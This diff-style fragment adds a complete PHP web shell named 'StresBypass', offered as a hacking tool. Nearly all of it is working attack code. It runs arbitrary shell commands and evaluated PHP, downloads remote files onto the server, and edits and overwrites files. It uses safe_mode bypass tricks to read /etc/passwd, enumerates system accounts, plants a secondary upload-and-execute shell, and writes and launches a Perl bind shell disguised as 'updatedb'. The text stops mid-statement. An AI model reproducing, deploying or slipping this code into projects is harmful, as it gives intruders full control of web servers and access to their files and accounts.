+@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS, 0, 3)) == "win"; +/**********************************************************/ +/* StresBypass v1.0 +/* --------- ---------- +/* +/* By Stres // Biyosecurity.Com +/* ------------------------------------------------ +/* Biyo Security Center Team +/* mail : stres@biyosecurity.com +/* +/* +/*********************************************************/ +?> +<?$dir=realpath("./")."/"; +$dir=str_replace("\\","/",$dir); +?> + +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><meta http-equiv="Content-Language" content="ar-sa"><title> +StresBypass shell</title> +<style> + td { + font-family: verdana, arial, ms sans serif, sans-serif; + font-size: 11px; + color: #D5ECF9; + } + BODY { + margin-top: 4px; + margin-right: 4px; + margin-bottom: 4px; + margin-left: 4px; + scrollbar-face-color: #b6b5b5; + scrollbar-highlight-color: #758393; + scrollbar-3dlight-color: #000000; + scrollbar-darkshadow-color: #101842; + scrollbar-shadow-color: #ffffff; + scrollbar-arrow-color: #000000; + scrollbar-track-color: #ffffff; + } + A:link {COLOR:blue; TEXT-DECORATION: none} + A:visited { COLOR:blue; TEXT-DECORATION: none} + A:active {COLOR:blue; TEXT-DECORATION: none} + A:hover {color:red;TEXT-DECORATION: none} + input, textarea, select { + background-color: #EBEAEA; + border-style: solid; + border-width: 1px; + font-family: verdana, arial, sans-serif; + font-size: 11px; + color: #333333; + padding: 0px; + } + </style></head> +<BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 style="color:#DCE7EF"> +<center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr> + <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2" bgcolor="#000000"> +<p align="center"> </p> + <p align="center"> +<a bookmark="minipanel"> + <font face="Webdings" size="7" color="#DCE7EF"></font></a><font size="7" face="Martina">By Stres</font><span lang="en-us"><font size="3" face="Martina"> </font> + <br><font size="1" face="Arial"></font></span><font color="#FFFF00" face="Arial" size="4"> <span lang="en-us">2oo8-2oo9</span> </font> +<font color="#FFFF00" face="Arial" size="5"><span lang="en-us">v1.0</span></font></p> +</p> +<a bookmark="minipanel"> +<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> +<p align="center"> + <b> + <? + $dirfile="$file_to_download"; +if (file_exists("$dirfile")) +{ +header("location: $dirfile"); +} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ +$safemode = true; +$hsafemode = "<font color=\"red\">ON (secure)</font>"; + + +} + +else {$safemode = false; $hsafemode = "<font color=\"green\">Kapal� ( G�venLik Kapal� )</font>";} +echo("Mod: $hsafemode"); +// PHPINFO +if ($_GET['action'] == "phpinfo") { + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() b? c?m"; + exit; +} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">Kapal� ( G�venLik Kapal� )</font>";} +echo("<br>"); +echo("Open base dir: $hopenbasedir"); +echo("<br>"); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>A��k</font></b>";}else{echo "<font color=red>Kapal�</font></b>";} +echo("<br>"); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>A��k</font></b>";}else{echo "<font color=red>Kapal�</font></b>";} +echo("<br>"); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>A��k</font></b>"; } else { echo "<font color=red>Kapal�</font></b>"; } +echo("<br>"); +echo "PHP version: <b>".@phpversion()."</b>"; +echo("<br>"); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); + +echo("<br>"); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>Hi�</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +?> +</b></p> + <p align="center"> </p></td></tr></table> +<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> + <b> +</b></p> + <p align="center"> </p></td></tr></table> + +</a> + + + +</p> + <p align="center"><font color="#FFFF00"> </font></p> + <p align="center"></p> + </th></tr><tr> + <td bgcolor="#000000" style="color: #DCE7EF"> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font size="4px"> +<b> + <font size="1" face="Verdana" color="#DCE7EF">OS:</font><font color="#DCE7EF" size="-2" face="verdana"><font size="1" face="Arial"> <?php echo php_uname(); ?> </font></span></font></b><p> +<font size="1" face="Verdana" color="#DCE7EF">Server:</font><font color="#DCE7EF" size="1" face="Arial"> </font><font color="#DCE7EF" size="1" face="Arial"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?> </font></font> +</font> +</p> +</font> +<font size=1 face=Verdana> +<p align="left"><font color="#DCE7EF">User</font></font><font size="1" face="Verdana" color="#DCE7EF">:</font><font size=-2 face=verdana color="#00000"> </font> +</b> + </font> + </font> + <a bookmark="minipanel" style="color: #dadada; font-family: verdana; text-decoration: none"> +<font size=-2 face=verdana color="#FFFFFF"> +<? passthru("id");?></font><font size=-2 face=verdana color="black"><br> + </font> +</a><span lang="en-us"><font face="Wingdings" size="3" color="#FFFFFF">1</font></span><a bookmark="minipanel" style="color: #dadada; font-family: verdana; text-decoration: none"><font size="-2" face="verdana"><font size=-2 face=Verdana color="#DCE7EF">:</font><font size=-2 face=verdana color="#DCE7EF"> +<? echo getcwd();?></div></font></font></a></font></b></a></font><br> + +<br> <b><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"><font size="4px"><font color="#FF0000" face="Verdana" size="-2"> +</font></font><font color="#FF0000" face="Verdana" size="2"> + </font></a><font size=2 face=verdana></a></font><font face="Verdana" size="2"> </font><a href=# onClick=location.href="javascript:history.back(-1)" style="color: white; text-decoration: none"><font face=Verdana><font color="#CC0000" size="1" face="verdana">Back</font><font color="#DCE7EF" size="1" face="verdana"> </font> + + </font></a><font face="Wingdings" size="1" color="#C0C0C0">?</font><span lang="en-us"><font size="1" color="#C0C0C0" face="Webdings"> +</font></span><font face=Verdana color="white"><font color="#CC0000" size="1"><a target="\"_blank\"" style="text-decoration: none" title="??????? ???Php" href="?action=phpinfo"><font color="#CC0000">phpinfo</font></a></font><font size="1"></a></font></font></b><span lang="en-us"><font color="#C0C0C0" face="Wingdings" size="1">2</font></span><b><font size=1 face=verdana> +</font> +<font size="4px" face="verdana" color="white"> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font color=#DCE7EF face="Verdana" size="1"> </font></font><font face="verdana" color="white"><span lang="en-us"><a title="???????" href="?act=tools"><font color=#CC0000 size="1">Tools</font></a></span></font><a bookmark="minipanel" style="color: #dadada; font-family: verdana; text-decoration: none"><span lang="en-us"><font color=#C0C0C0 face="Wingdings 2" size="1">4</font></span></a><font size="1" face="verdana" color="white"></a></font><font size=1 face=verdana> +</font> +<font size="4px" face="verdana" color="white"> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font color=#DCE7EF face="Verdana" size="1"><span lang="en-us"> </span> </font></font> +<font face="verdana" color="white"><span lang="en-us"> +<a title="???????" href="?act=decoder"><font color=#CC0000 size="1">Decoder</font></a></span></font><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"><span lang="en-us"><font color=#C0C0C0 face="Webdings" size="1">i</font></span></a><font size="1" face="verdana" color="white"></a></font><font size=1 face=verdana> +</font> +<font size="4px" face="verdana" color="white"> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font color=#DCE7EF face="Verdana" size="1"><span lang="en-us"> </span> </font> + </font><span lang="en-us"><font face="verdana" color="white"> + <font color=#CC0000 size="1"> +<a title="????? ??????" href="?act=bypass"><font color="#CC0000">ByPass</font></a></font><font size="1"></a></font></font><font face="Webdings" size="1" color="#C0C0C0">`</font></span><font size="1" face="verdana" color="white"></a></font><font size=1 face=verdana> +</font> +<font size="4px" face="verdana" color="white"> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font color=#DCE7EF face="Verdana" size="1"><span lang="en-us"> </span> </font> + </font><font face="verdana" color="white"><span lang="en-us"> +<a title="??????? ?????? ????????" href="?act=SQL"><font color=#CC0000 size="1">SQL</font></a></span></font></b><font face="Webdings" size="1" color="#C0C0C0">?</font><b><font size="1" face="verdana" color="white"></a></font></b><font size="1"></font></font><b><font size=1 face=verdana> +</font></b><font size="4px"><b> +<font size="4px" face="verdana" color="white"> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font color=#DCE7EF face="Verdana" size="1"><span lang="en-us"> </span></font></font></b></font><b><span lang="en-us"><font face="verdana" color="white"><a title="bind shell" href="?act=bindport"><font color=#CC0000 size="1">Bind</font></a></font></span></b><font face="Webdings" size="1" color="#C0C0C0">?</font><font size="4px"><b><font size="4px" face="verdana" color="white"><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"><font color=#DCE7EF face="Verdana" size="1"> </font> + </font></b></font><font face="verdana" color="white"> + <b> + <span lang="en-us"><font color=#CC0000 size="1"> +<a title="????????" href="?act=help"><font color="#CC0000">help</font></a></font></span><font size="1"></a></font></b></font><b><font size="1"></a></font><font size=1 face=verdana> +</font><span lang="en-us"><font color="#C0C0C0" face="Webdings" size="1">s</font></span><font face="verdana" color="white"><span lang="en-us"><font color=#CC0000 size="1"><a title="???????" href="?act=about"><font color="#CC0000">about</font></a></font></span><font size="1"></a></font></font><font size="1"></a></font><font size=1 face=verdana> +</font></b><span lang="en-us"><font size=1 face=Wingdings color="#C0C0C0"> +?</font></span></p> +<p><font size="4px"><font size=-2 face=verdana color=white><font size="4px" face="Verdana" color="white"><a bookmark="minipanel" style="font-weight: normal; font-family: verdana; text-decoration: none"><font color=#DCE7EF face="Verdana" size="-2"> +[</font></a></font><a bookmark="minipanel" style="font-weight: normal; font-family: verdana; text-decoration: none"><font face="Webdings" color="#DCE7EF">j</font></a><font color=#CC0000 face="Verdana" size="-2"> </font> + +<font size="4px"> + <font size="4px" face="verdana" color="white"><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> + <font size=-2 face=verdana color=#CC0000>server </font> + <font size="1" face="verdana" color="#CC0000">:</font><font face=Verdana size=-2 color="#DCE7EF"> <?php echo $SERVER_NAME; ?> + </font></a></font> +</a></font> +</font><b> +<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> +<font color=#DCE7EF size="-2" face="verdana">] </font> +<font size=-2 face=verdana color=white> + <font size="4px" face="verdana" color="white"> + <a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> + <font face=Verdana size=-2 color="#008000"> + CGI v</font><font size="1" face="verdana" color="#DCE7EF">:</font><font face=Verdana size=-2 color="#DCE7EF"> <?php echo $GATEWAY_INTERFACE; ?> </font> + <font face=Verdana size=-2 color="#008000"> HTTP v</font></a></font><font size="1" face="verdana">:</font><font size="4px" face="verdana" color="DCE7EF"><font face=Verdana size=-2> <?php echo $SERVER_PROTOCOL; ?></font><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"><font face=Verdana size=-2><font size=-2 face=verdana color=#DCE7EF> </font><font size=-2 face=verdana color=#008000>Mail +admin</font></font><font size="1" face="verdana" color="#DCE7EF">:</font><font face=Verdana size=-2 color="#DCE7EF"> <?php echo $SERVER_ADMIN; ?> </font><font face=Verdana size=-2 color="black"> </font></a></font> +</font> + </b> +</font></a> <br> + +<font size="4px"> +<b> +<font size=-2 face=verdana color=white> + <font face=Verdana size=-2 color="#CC0000"> + <a bookmark="minipanel" style="font-weight: normal; font-family: verdana; text-decoration: none"> + <font face="Wingdings" size="3" color="#000000">:</font></a></font><font size=-2 face=verdana color=#CC0000> </font><font face="Verdana" size="-2" color="#CC0000">IP</font><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"><font size="4px" face="verdana" color="white"><font face=Verdana size=-2> + </font><font size="1" face="verdana"> </font></font><font size="1" face="verdana" color="#CC0000">SERVER:</font><font face=Verdana size=-2 color="#DCE7EF"> <?php echo $SERVER_ADDR; ?> + </font> + </a> + +<font size="4px"> +</a> +<font size=-2 face=verdana color=white> + + +</font></font> + <a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> + <font size="4px"><font face=Verdana size=-2 color="black"> + </font> + <font size="4px" face="verdana" color="white"><font face=Verdana size=-2 color="#008000"> +port + </font><font size="1" face="verdana" color="#000000">:</font><font face=Verdana size=-2 color="red"> <?php echo $SERVER_PORT; ?> + </font></font> + </font> + </font> + </b> +</font></p></td></tr></table> +<? +if ($act == "help") {echo "<center><b>?????? ????? ????? ???? ???????<br><br>????? ????????<br>??? ???? ???????? ???? ??? ??? ?????? ?????? ?????? ??????<br>?????? ?? ??????? ?????? </a>.</b>";} +if ($act == "bindport"){ +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> +<b>/bin/bash</b><input type=\"text\" name=\"installpath\" value=\"" . getcwd() . "\"> +<b>Port</b><input type=\"text\" name=\"port\" value=\"3333\"> +<INPUT type=\"hidden\" name=\"installbind\" value=\"yes\"> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"> +<INPUT type=\"submit\" value=\"Connect\"></form></div>"; +} +if ($act == "tools"){ + echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> +Dosya D�zenle: +<input type=\"text\" name=\"editfile\" > +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\"> +<INPUT type=\"submit\" value=\"Edit\"></form></div>"; +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> +<table id=tb><tr><td> +<INPUT type=\"hidden\" name=\"php\" value=\"yes\"> +<INPUT type=\"submit\" value=\"eval code\" id=input></form></div></td></table>"; +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td>Buradan �ndir:</b>: +<INPUT type=\"text\" name=\"filefrom\" size=30 value=\"http://\"> +<b>-->>:</b> +<INPUT type=\"text\" name=\"fileto\" size=30> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"></td><td> +<INPUT type=\"submit\" value=\"Download\" id=input></td></tr></table></form></div>"; +} +if ($act == "about") {echo "<center><b>Coding by:<br><br>By Stres<br>&<br><br>-----<br><br>Biyo Security Team<br><br>Bypass Version:1.0 Beta phpshell code<br>Turkiye</a>.</b>";} + +if ($act == "bind") {echo "<center><b>By Stres:<br><br>-Connect ?? ?????? ??? ????.<br>.- ??? ????? ????? ???????? ???????<br>.-???? ????? ???? ??? ????? ???<br>nc -lp 3333?????? ?????? - <br>???????? ???? ?????? <br>Bind port to :<br> bind shell ?????? ? ?? </a>.</b>";} + +if ($act == "command") {echo "<center><b>By Stres:<br><br>??????? ??????? ??????? Select ------ x ???? ??? ??????<br>.- ???? ???? ????? ??????? ????? ?? ????? ???????<br>Command </a>.</b>";} + +if ($act == "team") {echo "<center><b>By Stres<br><br>BiyoSecurityTeam<br><br> </a>.</b>";} +if (array_key_exists('image', $_GET)) { + header('Content-Type: image/gif'); + die(getimage($_GET['image'])); +} + +if ($act == "bypass") { +echo " +<form action=\"$REQUEST_URI\" method=\"POST\"> +<table id=tb><tr><td>Uygula:<INPUT type=\"text\" name=\"cmd\" size=30 value=\"$cmd\"></td></tr></table> +"; +echo ("<FONT COLOR=\"RED\"> bypass safemode with copy </FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td>read file : +<INPUT type=\"text\" name=\"copy\" size=30 value=\"/etc/passwd\"> +<INPUT type=\"submit\" value=\"show\" id=input></td></tr></table></form></div>"; +echo ("<FONT COLOR=\"RED\"> bypass safemode with CuRl</FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td>read file : +<INPUT type=\"text\" name=\"curl\" size=30 value=\"/etc/passwd\"> +<INPUT type=\"submit\" value=\"show\" id=input></td></tr></table></form></div>"; +echo ("<FONT COLOR=\"RED\"> bypass safemode with imap()</FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td><select name=switch><option value=file>View file</option><option value=dir>View dir</option></select> +<INPUT type=\"text\" name=\"string\" size=30 value=\"/etc/passwd\"> +<INPUT type=\"submit\" value=\"show\" id=input></td></tr></table></form></div>"; +echo ("<FONT COLOR=\"RED\"> bypass safemode with id()</FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td> +<select name=plugin><option>cat /etc/passwd</option></select> +<INPUT type=\"submit\" value=\"Show\" id=input></td></tr></table></form></div>"; +echo ("<FONT COLOR=\"RED\"> Exploit: error_log()</FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td> +<INPUT type=\"text\" name=\"ERORR\" size=30 value=\"\"> +<INPUT type=\"submit\" value=\"Write\" id=input></td></tr></table></form></div>"; +} +if ($act == "decoder"){ +echo ("<FONT COLOR=\"RED\"> replace Chr()</FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td> +<textarea name=\"Mohajer22\" cols=\"50\" rows=\"15\" wrar=\"off\"> +</textarea><br> +<INPUT type=\"submit\" value=\"Replace\" id=input></td></tr></table></form></div>"; +} +if ($act == "SQL"){ +echo ("<FONT COLOR=\"RED\"> MySQL </FONT>"); +echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<table id=tb><tr><td> Username : +<INPUT type=\"text\" name=\"username\" size=30 value=\"\">\n +password : +<INPUT type=\"password\" name=\"password\" size=30 value=\"\">\n +<input type=submit value='Enter'>\n +<input type=reset value='Clear'></td></tr></table></form></div>"; +} +?> + + + +<br> +<TABLE style="BORDER-COLLAPSE: collapse; color:#000000" cellSpacing=0 borderColorDark=#DCE7EF cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#C0C0C0 border=1><tr> + <td width="100%" valign="top" style="color: #00000" bgcolor="#000000"> + <a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none"> + <TABLE style="BORDER-COLLAPSE: collapse; font-family:Verdana; font-size:11px; color:#000000; background-color:#0000000" height=1 cellSpacing=0 borderColorDark=#000000 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#DCE7EF border=1> + <tr style="font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; color: red; background-color: #0000000"> + <td width="990" height="1" valign="top" style="border:1px solid #00000; font-family: Verdana; color: #000000; font-size: 11px; "><p align="center"> + </p> + <p align="center"> <table style="font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; color: red; background-color: #0000000"> + <tr style="font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 11px; color: red; background-color: #0000000"> + <td style="font-size: 13px; font-family: verdana, arial, helvetica; color: red; background-color: #0000000"> +<?php +// chr() // +if(empty($_POST['Mohajer22'])){ +} else { +$m=$_POST['Mohajer22']; +$m=str_replace(" ","",$m); +$m=str_replace("(","",$m); +$m=str_replace(")","",$m); +$m=str_replace(".",";",$m); +$m=str_replace("chr","&#",$m); +$m=str_replace(" ","",$m); +echo $m ; +} +// ERORR // +if(empty($_POST['ERORR'])){ +} else { +$ERORR=$_POST['ERORR']; +echo error_log(" +<html> +<head> +<title> Exploit: error_log() By * StresBypass * </title> +<body bgcolor=\"#000000\"> +<table Width='100%' height='10%' bgcolor='#8C0404' border='1'> +<tr> +<td><center><font size='6' color='#BBB516'> By * StresBypass * BiyoSecurityTeam</font></center></td> +</tr> +</table> +<font color='#FF0000'> +</head> +<? +if(\$fileup == \"\"){ +ECHO \" reade for up \"; +}else{ +\$path= exec(\"pwd\"); +\$path .= \"/\$fileup_name\"; +\$CopyFile = copy(\$fileup,\"\$path\"); +if(\$CopyFile){ +echo \" up ok \"; +}else{ +echo \" no up \"; +} +} +if(empty(\$_POST['m'])){ +} else { +\$m=\$_POST['m']; +echo system(\$m); +} +if(empty(\$_POST['cmd'])){ +} else { +\$h= \$_POST['cmd']; +print include(\$h) ; + } + + +?> +<form method='POST' enctype='multipart/form-data' action='stresbypass.php'> +<input type='file' name='fileup' size='20'> +<input type='submit' value=' up '> +</form> +<form method='POST' action='stresbypass.php'> +<input type='cmd' name='cmd' size='20'> +<input type='submit' value=' open (shill.txt) '> +</form> +<form method='POST' enctype='multipart/form-data' action='stresbypass.php'> +<input type='text' name='m' size='20'> +<input type='submit' value=' run '> +<input type='reset' value=' reset '> +</form> +", 3,$ERORR); +} +// id // +if ($_POST['plugin'] ){ + + + switch($_POST['plugin']){ + case("cat /etc/passwd"): + for($uid=0;$uid<6000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "<br>"; + } + } + + break; + + + } + } + +// imap // +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "<pre>".$str."</pre>"; +imap_close($stream); +} elseif ($string && $switch == "dir") { +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); + +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "<pre>"; +for ($i = 0; $i < count($dir_list); $i++) +echo "$dir_list[$i]"."<p> </p>" ; +echo "</pre>"; +imap_close($stream); +} +// CURL // +if(empty($_POST['curl'])){ +} else { +$m=$_POST['curl']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} + +// copy// +$u1p=""; +$tymczas=""; +if(empty($_POST['copy'])){ +} else { +$u1p=$_POST['copy']; +$temp=tempnam($tymczas, "cx"); +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} +} + +@$dir = $_POST['dir']; +$dir = stripslashes($dir); + +@$cmd = $_POST['cmd']; +$cmd = stripslashes($cmd); +$REQUEST_URI = $_SERVER['REQUEST_URI']; +$dires = ''; +$files = ''; + + + + +if (isset($_POST['port'])){ +$bind = " +#!/usr/bin/perl + +\$port = {$_POST['port']}; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +";} + +function decode($buffer){ + +return convert_cyr_string ($buffer, 'd', 'w'); + +} + + + +function execute($com) +{ + +if (!empty($com)) +{ + if(function_exists('exec')) + { + exec($com,$arr); + echo implode(' +',$arr); + } + elseif(function_exists('shell_exec')) + { + echo shell_exec($com); + + + } + elseif(function_exists('system')) +{ + + echo system($com); +} + elseif(function_exists('passthru')) + { + + echo passthru($com); + + } +} + +} + + +function perms($mode) +{ + +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + + + + + + +if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "") +{ +copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]); +} + +if((isset($_POST['fileto']))||(isset($_POST['filefrom']))) + +{ +$data = implode("", file($_POST['filefrom'])); +$fp = fopen($_POST['fileto'], "wb"); +fputs($fp, $data); +$ok = fclose($fp); +if($ok) +{ +$size = filesize($_POST['fileto'])/1024; +$sizef = sprintf("%.2f", $size); +print "<center><div id=logostrip>Download - OK. (".$sizef."??)</div></center>"; +} +else +{ +print "<center><div id=logostrip>Something is wrong. Download - IS NOT OK</div></center>"; +} +} + +if (isset($_POST['installbind'])){ + +if (is_dir($_POST['installpath']) == true){ +chdir($_POST['installpath']); +$_POST['installpath'] = "temp.pl";} + + +$fp = fopen($_POST['installpath'], "w"); +fwrite($fp, $bind); +fclose($fp); + +exec("perl " . $_POST['installpath']); +chdir($dir); + + +} + + +@$ef = stripslashes($_POST['editfile']); +if ($ef){ +$fp = fopen($ef, "r"); +$filearr = file($ef); + + + +$string = ''; +$content = ''; +foreach ($filearr as $string){ +$string = str_replace("<" , "<" , $string); +$string = str_replace(">" , ">" , $string); +$content = $content . $string; +} + +echo "<center><div id=logostrip>Edit file: $ef </div><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=content cols=100 rows=20>$content</textarea> +<input type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\"> +<input type=\"hidden\" name=\"savefile\" value=\"{$_POST['editfile']}\"><br> +<input type=\"submit\" name=\"submit\" value=\"Save\" id=input></form></center>"; +fclose($fp); +} + +if(isset($_POST['savefile'])){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "<center><div id=logostrip>saved -OK!</div></center>"; + +} + + +if (isset($_POST['php'])){ + +echo "<center><div id=logostrip>eval code<br><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=phpcode cols=100 rows=20></textarea><br> +<input type=\"submit\" name=\"submit\" value=\"Exec\" id=input></form></center></div>"; +} + + + +if(isset($_POST['phpcode'])){ + +echo "<center><div id=logostrip>Results of PHP execution<br><br>"; +@eval(stripslashes($_POST['phpcode'])); +echo "</div></center>"; + + +} + + +if ($cmd){ + +if($sertype == "winda"){ +ob_start(); +execute($cmd); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} +else{ +ob_start(); +echo decode(execute($cmd)); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} + +if (trim($buffer)){ +echo "<center><div id=logostrip>Command: $cmd<br><textarea cols=100 rows=20>"; +echo decode($buffer); +echo "</textarea></center></div>"; +} + +} +$arr = array(); + +$arr = array_merge($arr, glob("*")); +$arr = array_merge($arr, glob(".*")); +$arr = array_merge($arr, glob("*.*")); +$arr = array_unique($arr); +sort($arr); +echo "<table><tr><td>Name</td><td><a title=\"Type of object\">Type</a></td><td>Size</td><td>Last access</td><td>Last change</td><td>Perms</td><td><a title=\"If Yes, you have write permission\">Write</a></td><td><a title=\"If Yes, you have read permission\">Read</a></td></tr>"; + +foreach ($arr as $filename) { + +if ($filename != "." and $filename != ".."){ + +if (is_dir($filename) == true){ +$directory = ""; +$directory = $directory . 